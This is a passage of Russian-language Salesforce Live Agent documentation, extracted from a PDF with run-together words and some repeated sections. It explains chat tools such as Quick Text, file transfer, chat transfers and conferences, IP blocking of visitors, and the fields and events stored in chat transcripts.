• Чтобысоздать запись, нажмите кнопку «Создатьобращение», «Создатьинтерес»,
«Создать контакт» или «Создать организацию».
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Отправка сообщений «Быстрый текст» в чатах

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для доступа к быстрому
тексту во время общения с
посетителями вприложении
Live Agent:
• «Чтение» для объекта

«Быстрый текст»

Готовые сообщения позволяют ускорить процесс отправки типовых сообщений
клиентам чата.

Быстрый текст позволяет сократить время отправки ответа клиентам путем добавления
готовыхсообщений (например, приветствияилитипичныеэтапыустранениянеполадок)
в сообщения чата.

Прим.: При отсутствии доступа к быстрому тексту обратитесь к администратору.

1. При общении с клиентом введите символы ;; в поле сообщения.
Данное действие возвращает список сообщений «Быстрый текст». Сообщения,
использовавшиеся последними, отображаются вверху списка.

2. Чтобыпросмотретьдополнительныедоступныесообщения «Быстрыйтекст», введите
слово или фразу.
Данное действие возвращает список сообщений, содержащих введенные слова.

3. Чтобы просмотреть заголовок и полный текст сообщения, щелкните или выделите
нужное сообщение посредством клавиш со стрелками.
Полное сообщение отображается внизу списка «Быстрый текст».

4. Чтобы выбрать сообщение и добавить его в чат, дваждыщелкните или выделите
нужное сообщение и нажмите клавишу ENTER.

5. Чтобы отправить сообщение, нажмите кнопку «Отправить» или клавишу ENTER.

СМ. ТАКЖЕ:

Создание сообщений «Быстрый текст»
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Перенос файлов во время чата

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для использования на
консоли Salesforce:
• “Приложение Live

Agent, включенное и
настроенное в
организации

И

Приложение Live Agent,
настроенное в
приложении консоли
Salesforce

Пользователимогут предоставлять клиентам возможность загрузки и переносафайлов
вовремячата, позволяющихупроститьпередачудополнительныхсведенийовозникших
проблемах.

Например, клиентымогутзагружатьипередаватьагентамснимкисообщенийобошибках,
возникающих во время выполнения операций.

Клиент может загрузить файл только после связывания чата с записью (например,
обращение или контакт). Файл клиента не может быть добавлен в транскрипт во время
чата, так как транскрипты создаются после завершения чатов.

1. Чтобы найти или создать запись для добавления в чат, щелкните значок .

2. Щелкните значок переноса файла ( ).

Прим.: Файлможетбыть загруженклиентомтолькопосленачала егопереноса
посредством специального значка. Данный алгоритм позволяет исключить
загрузку нежелательных или потенциально опасных файлов в чат.

3. Выберите запись, найденную или созданную в первом действии.
При этом клиенту предлагается загрузить файл в окно чата.

4. Чтобы просмотреть файл, отправленный клиентом посредством чата, щелкните
соответствующую ссылку в журнале чата.
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Добавление вложений в чат

Добавление статей в чаты Live Agent

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для поиска и просмотра
статьи:
• «Чтение» для типа

статьи

Виджет Knowledge One позволяет быстро находить статьи, которые могут быть полезны
при решении проблем клиентов.

Виджет Knowledge One доступен только в том случае, если организация использует
компонент Salesforce Knowledge, а сам инструмент добавлен администратором в
приложение консоли Salesforce.

1. При общении с посетителем выберите нужную статью из списка, отображаемого
виджетом Knowledge One. При этом откроется вкладка, содержащая полный текст
статьи.

2. Чтобы найти конкретную статью, введите слово или фразу в текстовую область
виджета и щелкните значок или нажмите клавишу ENTER.

• Чтобы найти все статьи, включая те, которые отсутствуют в списке, щелкните
значок , расположенныйвверхнейчастивиджета. Функцияосновногопоиска
позволяетфильтроватьотображаемыерезультатыпоопределеннымтипамстатей.

• Чтобы отфильтровать результаты поиска, щелкните «Фильтры» и выберите
параметрыфильтрации.

3. Щелкните значок напротив нужной найденной статьи и выберите пункт
«Опубликовать».
При этом текст статьи отображается в текстовом поле чата.

4. Чтобы отправить статью посетителю, нажмите кнопку «Отправить» или клавишу
ENTER на клавиатуре.

Прим.: При настройке поля «Chat Answer» для статей пользователи могут
отправлять статьи только посетителям. В противном случае статьи доступны
только для просмотра.

СМ. ТАКЖЕ:

Настройка ответов чата из статей базы знаний
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Добавление записей в транскрипты чата

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для поиска и просмотра
записи:
• «Чтение» для объекта

И

«Создание» для
транскриптов Live Chat

Для создания записи:
• «Создание» для объекта

И

«Создание» для
транскриптов Live Chat

Для редактирования записи:
• «Редактирование» для

объекта

И

«Создание» для
транскриптов Live Chat

Для удаления записи:
• «Удаление» для объекта

И

«Создание» для
транскриптов Live Chat

Пользователи могут находить или создавать записи для добавления в транскрипт чата
во время общения с клиентами.

Пользователимогутнаходитьтекущиезаписиилисоздаватьновыезаписидлясвязывания
с транскриптом во время общения с клиентами. Например, создайте обращение на
основе проблемы клиента или найдите текущий контакт клиента и добавьте данные
записи в транскрипт для последующего просмотра. Транскрипты поддерживают
добавление стандартных или настраиваемых записей.

1. Чтобы добавить запись в транскрипт, щелкните значок во время общения с
клиентом.

Прим.: Транскриптчатапозволяетдобавлять толькоодну запись каждого типа.
Например, одинтранскриптможетбытьдополнентолькооднимобращением.

2. Чтобы найти текущую запись, выполните указанные ниже действия.

a.
Щелкните значок поиска ( ) напротив нужного типа записи в окне записей.

b. Введите имя нужной записи и нажмите клавишу ENTER.
При этом запись откроется на новой вкладке.

c. Щелкните значок добавления ( ) повторно.

d. Установите флажок напротив найденной записи для ее связывания с
транскриптом чата.

3. Чтобы создать запись, выполните указанные ниже действия.

a.
Щелкните значок создания ( ) напротив нужного типа записи.

b. Заполните соответствующие поля и сохраните новую запись.

Созданная запись будет автоматически связана с транскриптом.

4. По завершении работы закройте чат.

5. При необходимости нажмите кнопку «Сохранить».
Связанные записи добавляются в транскрипт. При необходимости просмотрите
данные записи посредством подробного представления транскрипта.

СМ. ТАКЖЕ:

Транскрипты Live Agent
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Блокировка нежелательных клиентов чата

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для общения с
посетителями вприложении
Live Agent на консоли
Salesforce:
• Приложение Live Agent,

включенное,
настроенное и
добавленное в
приложение консоли
Salesforce

Пользователи могут блокировать чаты от назойливых клиентов прямо на консоли
Salesforce. Например, пользователь может заблокировать клиента, использующего
оскорбительные выражения или отправляющего нежелательные сообщения.

Блокировка чата инициирует завершение чата и блокировку любых новых запросов на
чаты, исходящих с IP-адреса пользователя.

При получении большого количества нежелательных чатов из отдельного региона
администратор может заблокировать целые диапазоны IP-адресов.

1.
Щелкните значок на панели взаимодействия.

2. (Дополнительно) Введитекомментарий, поясняющийпричинублокировкиданного
посетителя.

3. Щелкните «Блокировать».

Параметр«Блокировать»инициируетнезамедлительноезавершениечатаиотображение
посетителю уведомления о завершении чата агентом. При участии нескольких агентов
в конференции параметр «Блокировать» инициирует незамедлительное завершение
конференции и отображение другим агентам соответствующего уведомления.

При отсутствии значка на консоли обратитесь к администратору Salesforce для
его включения. IP-адрес может быть разблокирован только администратором.
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Завершение сеанса чата

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для общения с
посетителями вприложении
Live Agent на :
• Приложение Live Agent,

включенное,
настроенное и
добавленное в
приложение

По завершении общения с клиентом и обновления связанных записей рекомендуем
завершить сеанс чата.

По завершении чата с клиентом основные и второстепенные вкладки, связанные с
даннымчатом, остаютсяоткрытыминаконсоли. Чтобысохранить выполненнуюработу
и освободить место для других чатов, закройте данные вкладки.

1. Закройте основную вкладку чата.

2. При необходимости нажмите кнопку «Сохранить».
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Сотрудничество и обращение за помощью

Передача чатов агентам, навыкам или кнопкам

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

Чаты Live Agent могут быть переданы другому агенту, навыку или кнопке, в результате
чего вашиклиентыполучат квалифицированнуюпомощьизнаиболее осведомленных
источников.

Передача чата Live Agent аналогична пересылке сообщения электронной почты или
передачеобращениядругому агенту. Передачуимеет смыслиспользовать, еслиу клиента
естьпроблема, которуюможетрешитьдругойклиент, либоесликлиенту требуется агент
с определенным навыком. Способ доставки чата следующему агенту зависит от типа
используемой передачи.

Система поддерживает три типа передачи: передача агенту, передача навыку и передача
кнопке. Чтобыпомощьклиентампредоставляласьмаксимальнооперативно, некоторые
типы передачи чата могут превышать настроенную пропускную способность агентов.
НастроитьпропускнуюспособностиагентаможноспомощьюконфигурацииLive Agent
или конфигурации присутствия при использовании мультиканала организацией.

Вероятность
превышения
настроенной
пропускной
способности
агента

Способ передачиСценарийТип передачи

ДаЗапрос на чат
отправлен агенту

Необходимо
передать чат агенту

Передача агенту

Джейн. Если онаДжейн, потому что
примет запрос, чатона идеально
будет передан ей, аподходит под
ваше рабочеетребования

обращения. пространство чата
закроется.

ДаЗапрос на чат
отправляется всем

Необходимо
переслатьчат агенту

Передача навыку

агентам,с навыком
назначенным для«специалист по

счетам». этого навыка, и чат
будет передан
первому агенту,
который примет
запрос.

НетЧат передается
доступному агенту,

Необходимо
передать чат из

Передача кнопке

назначенному дляочереди продаж в
выбранной кнопки
или очереди.

очереди на
обслуживание.
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Для чатов, переданных непосредственно агенту или группе навыков, допускается превышение принятой пропускной
способностиагента. Этозначит, чтоагентыбудутвсегдаполучать запросыначат, дажееслиужеобрабатываютмаксимально
допустимое число чатов. Если запрос на передачу будет отклонен или время ожидания истечет, первый агент может
назначить другого принимающего или использовать другой способ.

Чаты, отправленные от кнопок или очередей, всегда учитывают настроенную пропускную способность агента. Таким
образом, агенты, назначенныедля тойкнопкиилиочереди, неполучат запроснапередачуилиначат, покаихпропускная
способность не будет открыта. Не волнуйтесь! Клиентам все равно не придется долго дожидаться другого агента. Когда
чат отправляется в новуюочередь, ондобавляется в список входящихчатовпо времени существования, поэтомуонбудет
отображаться над более новыми запросами на чат.

Когда агент принимает переданный чат, прикрепленные к транскрипту чата записи (например, обращение или контакт)
открываются рядом с чатом в рабочем пространстве. Принимающий агент обладает всеми сведениями, чтобы сразу
оказать помощь клиенту без дополнительного поиска связанных записей. Эти записи постоянно обновляются, так как
предыдущий агент обязан сохранять любые изменения при запуске передачи.

Прим.: Еслипринимающийагентнеобладаетполномочиямидляпросмотраодногоилинесколькихприкрепленных
объектов, эти элементы не откроются в переданном рабочем пространстве.

Перенос чатов
Пользователь может передавать сеансы чата другим агентам, если клиенту требуется дополнительная помощь в
определенном вопросе, либо оставить место для новых запросов.

Перенос чатов
Пользователь может передавать сеансы чата другим агентам, если клиенту требуется дополнительная помощь в
определенном вопросе, либо оставить место для новых запросов.
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Перенос чатов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для общения с
посетителями вприложении
Live Agent на консоли
Salesforce:
• Приложение Live Agent,

включенное,
настроенное и
добавленное в
приложение консоли
Salesforce

Пользователь может передавать сеансы чата другим агентам, если клиенту требуется
дополнительная помощь в определенном вопросе, либо оставить место для новых
запросов.

1. При общении с клиентом в чате нажмите кнопку «Перенос».

2. Выберите параметр передачи из любого меню.
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Прим.: Для каждого типа передачи, включенной для вашей организации, доступны определенные параметры.
Если нужный параметр не отображается, попросите администратора добавить его.

3. (Дополнительно) Напишите сообщение агенту, получившему чат. Это сообщение будет частью запроса на чат,
который предоставит нужную информацию следующему агенту.
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4. Если передача принята, ваш чат со связанными записями автоматически закроется (не беспокойтесь, вам будет
предложено сохранить изменения). Если передача будет отклонена, можно повторить попытку для другого
принимающего или другим способом передачи.
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Отправка запроса на конференцию чата

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания и
редактирования
конфигураций:
• «Настройка

приложения»

Для включения
конференции чата:
• «Включение

конференции чата Live
Agent»

Несмотря на глубокие познания агентов службыподдержки, некоторые агентымогут не
обладать всей информацией, необходимой для решения проблемы клиента.
Конференция чата позволяет приглашать других агентов в чаты с клиентами. Таким
образом, агенты могут предоставлять клиентам полноценную поддержку без ущерба
для цепочки диалогов! Чтобы пригласить другого агента в чат с клиентом, отправьте
запрос на конференцию чата.

Прим.: Принеобходимостиначнитеконференциюсоднимагентомилиотправьте
запрос всем агентам, из которых участие в конференции будет доступно первому
принявшему запрос. Чтобы начать конференцию с несколькими агентами,
отправьте каждый запрос отдельно.

1. Щелкните значок во время общения с клиентом.

2. Выберите группу навыков нужных агентов.

3. Определите необходимость отправки запроса на конференцию всем агентам с
выбранным навыком или конкретному агенту.

4. Чтобы отправить запрос на конференцию, щелкните «Конференция».

Припринятиизапросанаконференциюсоответствующееуведомлениеотображается
вжурналечата, а агент, принявшийзапрос, можетначатьобщениес текущимагентом
и клиентом. При отклонении запроса соответствующее уведомление отображается
над журналом чата. Клиент получает уведомление при присоединении или выходе
агента из конференции.

5. Чтобы выйти из конференции, последовательнощелкните «Выйти».

Уведомлениеовыходедругого агентаиз конференциибудетотображаться вжурнале
чата.

Любые сохраненные и добавленные записи будут доступны другим агентам по мере их
присоединениякконференции. Темнеменее, добавлениедругихзаписейбудетдоступно
толькоагенту, инициировавшемуконференциюилипринимающемусамоедлительное
участие. Если агент, принимающий самое длительное участие, добавляет или удаляет
записи во время конференции, то данные изменения не будут доступны другим агентам
в их рабочих пространствах.

Дополнительную информацию о переносе чатов и рабочих пространств см. в разделе «Перенос чатов».
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Запрос помощи с помощью чата

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition

Если вам требуетсяпомощьчерез чат, можноподнять виртуальныйфлажок, чтобыдать
знак администратору. Администраторам приходит уведомление, что вам требуется
помощь, и они могут ответить вам напрямую через консоль.

1. Щелкните по значку на панели взаимодействия.

2. Введите сообщение, вкратце объясняющее, какая помощь вам требуется.

3. Нажмите кнопкуПоднятьфлажок.

Либо вы, либо администратор можете опуститьфлажок, когда проблема будет решена.

При отсутствии значка на консоли обратитесь к администратору Salesforce, чтобы
включить его.
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Просмотр записей клиентов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра записей
клиентов:
• «Чтение» для типа

записи

Для использования Live
Agent агентами:
• Полномочие

администратора «API
включен»

Позавершениичата система Salesforce автоматическисоздаетнекоторые записи. Данные
записи хранят сведения о клиентах и их взаимодействиях с агентами.

Какправило, данныезаписииспользуютсясистемойдлясозданияконтрольногожурнала
по клиентам и их чатам с агентами. При необходимости пользователи могут
самостоятельно открывать данные записи.

1. Чтобы просмотреть записи клиентов на консоли Salesforce, выберите нужный тип
записи в списке навигации консоли Salesforce.

Список данных записей будет отображаться в основном окне.

Записи сеансов Live Agent

Запись сеанса Live Agent создается автоматически при каждом входе агентов в
приложение Live Agent. Данные записи сеансов хранят сведения об интерактивных
взаимодействияхагентовиклиентов (например, количествообработанныхзапросов
на чат, времянахождения агентов в сетиили время активного участия агентов в чатах
с клиентами).

Записи посетителей Live Agent

При каждом общении агента с клиентом система Salesforce автоматически создает
запись посетителя, определяющую компьютер клиента.

Транскрипты Live Agent

Транскрипт Live Agent — это записьчатамеждуклиентомиагентом. СистемаSalesforce
автоматически создает транскрипты для каждого сеанса чата.

Записи сеансов Live Agent

Запись сеанса Live Agent создается автоматически при каждом входе агентов в
приложение Live Agent. Данные записи сеансов хранят сведения об интерактивных
взаимодействияхагентовиклиентов (например, количествообработанныхзапросов
на чат, времянахождения агентов в сетиили время активного участия агентов в чатах
с клиентами).

Записи посетителей Live Agent

Прикаждомобщенииагента с клиентомсистема Salesforce автоматически создает записьпосетителя, определяющую
компьютер клиента.

Транскрипты Live Agent

Транскрипт Live Agent — это запись чата между клиентом и агентом. Система Salesforce автоматически создает
транскрипты для каждого сеанса чата.
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Записи сеансов Live Agent

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

Записьсеанса Live Agent создается автоматическиприкаждомвходеагентоввприложение
Live Agent. Данные записи сеансов хранят сведения об интерактивных взаимодействиях
агентов и клиентов (например, количество обработанных запросов на чат, время
нахождения агентов в сети или время активного участия агентов в чатах с клиентами).

Рекомендуем использовать сеансы Live Agent для поиска и редактирования сведений о
чатах агентов службы поддержки с клиентами. Например, чтобы просмотреть действия
чата за один день, создайте список «Сеансы за сегодня».

Записи сеансов могут быть связаны с обращениями, организациями, контактами и
интересами или другими объектами посредством настраиваемых полей поиска.

Прим.: Приналичиисоответствующихполномочийпользователимогутсоздавать,
просматривать, редактировать и удалять записи сеансов, подобно другим типам
записей в системе Salesforce. Не рекомендуем подделывать данные записи, так как
записи сеансов, как правило, используются для документирования чатов между
агентами и клиентами.

Записи посетителей Live Agent

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

Прикаждомобщенииагента с клиентомсистема Salesforce автоматическисоздает запись
посетителя, определяющую компьютер клиента.

Каждый новый посетитель связывается с сеансовым ключом, который автоматически
создается системой Salesforce. Сеансовый ключ — это уникальный код, хранящийся в
записипосетителяина егоперсональномкомпьютерев виде cookie-файла. Есликлиент
участвует в нескольких чатах, то система Salesforce использует сеансовый ключ для
связывания клиента с его записью посетителя, которая, в свою очередь, связывается со
всеми соответствующими транскриптами чата.

Прим.: Приналичиисоответствующихполномочийпользователимогутсоздавать,
просматривать, редактировать и удалять записи посетителей, подобно другим
типам записей в системе Salesforce. Не рекомендуем подделывать данные записи,
так как записи посетителей, как правило, используются для документирования
сведений, связывающих клиентов с транскриптами чата.

СМ. ТАКЖЕ:

Создание записей

Удаление записей

Редактирование записей
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Транскрипты Live Agent

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

Транскрипт Live Agent — это запись чата между клиентом и агентом. Система Salesforce
автоматически создает транскрипты для каждого сеанса чата.

При успешном завершении чата (то есть, при завершении чата клиентом или агентом)
закрытие окна чата и всех связанных вкладок инициирует создание транскрипта чата.

При отключении чата или возникновении другой ошибки система Salesforce также
создает транскрипт чата, но выполнение данной операции может занять до 30 минут.

Транскрипты могут быть связаны с обращениями, организациями, контактами и
интересами или другими объектами.

Прим.: Приналичиисоответствующихполномочийпользователимогутсоздавать,
просматривать, редактироватьи удалять транскриптычата, подобнодругим типам
записей в системе Salesforce. Не рекомендуем подделывать данные записи, так как
транскрипты чата, как правило, используются для документирования чатов между
агентами и клиентами.

Поля транскрипта Live Agent

Поля транскрипта Live Agent позволяют отслеживать сведения о чатах агентов с
клиентами.

События транскрипта Live Agent

События транскрипта Live Chat позволяют автоматически отслеживать события, происходящие между агентами и
клиентами во время чатов.

Поля транскрипта Live Agent

Поля транскрипта Live Agent позволяют отслеживать сведения о чатах агентов с клиентами.

События транскрипта Live Agent

События транскрипта Live Chat позволяют автоматически отслеживать события, происходящие между агентами и
клиентами во время чатов.

СМ. ТАКЖЕ:

Создание записей

Удаление записей

Редактирование записей
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Поля транскрипта Live Agent

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

Поля транскрипта Live Agent позволяют отслеживать сведения о чатах агентов с
клиентами.

Ниже перечислены поля, доступные в записи транскрипта Live Agent. В зависимости от
используемого макета страницы и параметров безопасности полей, некоторые поля
могут быть скрыты или недоступны для редактирования.

ОпределениеПоле

Время нахождения входящего запроса на
чат без ответа агента, прошедшее перед
отключениемклиентаотчата (в секундах).

Прервано после

Имя организации, связанной с
транскриптом.

Имя организации

Среднее время, потраченное агентом на
отправкуответанасообщениепосетителя
чата.

Среднее время ответа агента

Максимальноевремя, потраченноеагентом
на отправку ответа на сообщение
посетителя чата.

Максимальное время ответа агента

Количество сообщений, отправленных
агентом во время чата.

Количество сообщений агента

Навык, связанный с кнопкой Live Chat,
используемой для начала чата.

Навык агента

Записанный чат между агентом и
посетителем.

Текст

Типиверсияобозревателя, используемого
посетителем.

Обозреватель

Выбор языка, используемого
обозревателем посетителя.

Язык обозревателя

Обращение, связанное с чатом.Обращение

Кнопка, нажимаемая посетителем для
начала чата.

Кнопка чата

Общая продолжительность чата (в
секундах).

Продолжительность чата

Имя контакта, участвовавшего в чате.

Обратите вниманиена наличиеразличий
между посетителями и контактами.

Имя контакта

Дополнительную информацию см. в
определении «Посетитель Live Chat».
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ОпределениеПоле

Пользователь, создавший транскрипт, а также дата и время
создания (только для чтения).

Создано

Дата и время создания транскрипта (только для чтения).Дата создания

Время завершения чата.Время окончания

Посетитель или агент, завершивший чат.Завершил

Пользователь, который последним изменил транскрипт, а
также дата и время изменения (только для чтения).

Последнее изменение сделано

Дата и время последнего изменения транскрипта (только
для чтения).

Дата последнего изменения

Имя интереса, созданного в результате чата или
обсуждавшегося в процессе чата.

Интерес

Развертывание, использованное посетителем для начала
чата.

Развертывание

Уникальный цифровой код, назначаемый транскрипту
автоматически.

Формат и нумерация, используемые в данном поле, могут
быть изменены администратором.

Транскрипт Live Chat

Номератранскриптовприсваиваютсявпорядкеувеличения,
но иногда некоторые номера могут выпадать из
последовательности.

Уникальный цифровой код, назначаемый посетителю
автоматически.

Формат и нумерация, используемые в данном поле, могут
быть изменены администратором.

Посетитель Live Chat

Номерапосетителейприсваиваютсявпорядке увеличения,
но иногда некоторые номера могут выпадать из
последовательности.

Обратите внимание на различие между посетителями и
контактами: посетитель может быть контактом
(необязательно); между контактами и посетителями
отсутствует связь.

Географическое местоположение посетителя. Укажите
город и штат или город и страну (если посетитель
находится за пределами США).

Расположение

Имя ответственного за транскрипт. По умолчанию
ответственным является пользователь, который создал

Ответственный

транскрипт (например, агент, ответивший на полученный
запрос).
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ОпределениеПоле

Транскрипт может быть назначен очереди или другому
ответственному. Транскриптымогутбытьназначенытолько
тем пользователям, у которых есть полномочие «Чтение»
для транскриптов Live Chat.

Операционная система пользователя.Платформа

Сайт, на котором находились посетители до перехода на
веб-сайт компании.

Например, если для поиска корпоративного веб-сайта
использовался Google, то в поле будет отображаться
значение «Google».

Ссылающийся сайт

Время начала чата посетителем.Время запроса

Разрешение экрана, используемое посетителем.Разрешение экрана

Время ответа агента на полученный запрос.Время начала

«Завершено» или «Пропущено». Статус «Пропущено»
указывает на то, что ответ на полученный запрос не был
отправлен.

Статус

Строка, определяющая тип обозревателя и операционной
системы, используемой посетителем.

Агент пользователя

Среднее время, потраченное посетителем на отправку
ответа на комментарий агента.

Среднее время ответа посетителя

Максимальное время, потраченное клиентом на отправку
ответа на сообщение агента.

Максимальное время ответа посетителя

IP-адрескомпьютера, используемогопосетителемвовремя
чата.

IP-адрес посетителя

Количество сообщений, отправленных посетителем во
время чата.

Количество сообщений посетителя

Общее время ожидания, прошедшее перед принятием
запроса на чат агентом.

Время ожидания
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События транскрипта Live Agent

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

События транскрипта Live Chat позволяют автоматически отслеживать события,
происходящие между агентами и клиентами во время чатов.

При необходимости измените транскрипты Live Chat для отслеживания событий,
происходящихмеждуагентамииклиентамивовремячатов. Нижеперечисленысобытия,
которые могут быть добавлены в транскрипты Live Chat.

ОписаниеСобытие

Запрос на чат отправлен посетителем.Запрос на чат
отправлен

Запрос на чат добавлен в очередь.В очереди

Запрос на чат направлен агенту.Направлено
(активная доставка)

Запрос на чат направлен всем соответствующим доступным
агентам.

Направлено (выбор)

Запрос на чат принят агентом.Принято

Агенту не удалось ответить на сообщение клиента перед
достижениемкритическоговремениожиданияпредупреждения.

Достигнуто
критическое время
ожидания
предупреждения

Агент ответил на сообщение клиента после достижения
критического времени ожидания предупреждения.

Очищено
критическое время
ожидания
предупреждения

Запрос на перенос чата отправлен агентом.Запрос на перенос
отправлен

Перенос чата принят агентом.Перенос принят

Запрос на перенос чата отменен агентом, отправившим запрос.Запрос на перенос
отменен

Запрос на перенос чата отклонен агентом, принявшим запрос.Запрос на перенос
отклонен

Чат был перенесен на кнопкуПеренесено на
кнопку

Перенос чата на кнопку был выполнен с ошибкамиНе удалось
выполнить перенос
на кнопку

Агент отправил запрос на запуск конференцииЗапрошена
конференция чата
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ОписаниеСобытие

Конференция чата была отмененаКонференциячатаотменена

Запрос на конференцию был отклонен агентомКонференциячатаотклонена

К конференции присоединился агентАгент присоединился к
конференции

Агент покинул конференциюАгент покинул
конференцию

Был запрошен перенос файловЗапрошен перенос файлов

Перенос файлов был отменен агентомПеренос файлов был
отменен агентом

Перенос файлов был отменен посетителемПеренос файлов был
отменен посетителем

Перенос файлов прошел успешно.Перенос файлов успешно
завершен

Не удалось выполнить перенос файловПеренос файлов выполнить
не удалось

Попытка открыть чат была заблокирована правилом блокировки IP-адресаОтменено (заблокировано)

Агент заблокировал активный чат (создание правила блокировки IP-адреса)Заблокировано агентом

Запрос на чат отклонен агентом.Отклонено (вручную)

Срок действия запроса на чат истек при назначении агенту.Отклонено (истекло время
ожидания)

Запрос на чат отклонен ввиду недоступности соответствующих агентов.Отменено (нет агента)

Запрос на чат отклонен ввиду переполнения очереди.Отменено (нет очереди)

Посетитель нажал кнопку «Завершить чат».Отменено посетителем

Чат завершен агентом.Агент вышел

Чат завершен посетителем.Посетитель вышел

Кнопка «Завершить чат» нажата агентом.Завершено агентом

Кнопка «Завершить чат» нажата посетителем.Завершено посетителем

Произошло другое событие.Другое
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Live Agent для администраторов службы поддержки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для общения с
посетителями вприложении
Live Agent на консоли
Salesforce:
• Приложение Live Agent,

включенное,
настроенное и
добавленное в
приложение консоли
Salesforce

Вас приветствует приложение Live Agent для администраторов службы поддержки! Live
Agent — это универсальное решение, позволяющее агентам быстро обрабатывать
проблемы клиентов посредством чата. Инструменты администратора Live Agent
позволяют быстро отслеживать действия агентов, помогать агентам в чатах и
просматривать данные о сеансах чата агентов.

Администратор службы поддержки контролирует действия своих сотрудников для
повышения эффективности обслуживания клиентов. Live Agent — это решение,
полностьюинтегрированноев системуSalesforceипредоставляющеецентрализованный
доступ к сведениям об агентах и их действиях в чатах.

Независимо от продолжительности использования приложения Live Agent, доступные
инструменты позволяют упростить поддержку и отслеживание агентов по мере
обслуживания клиентов. Итак, начнем.

СМ. ТАКЖЕ:

Live Agent для администраторов службы поддержки

Live Agent для администраторов

Полномочия для администраторов службы поддержки Live Agent
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Панель администратора Live Agent

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
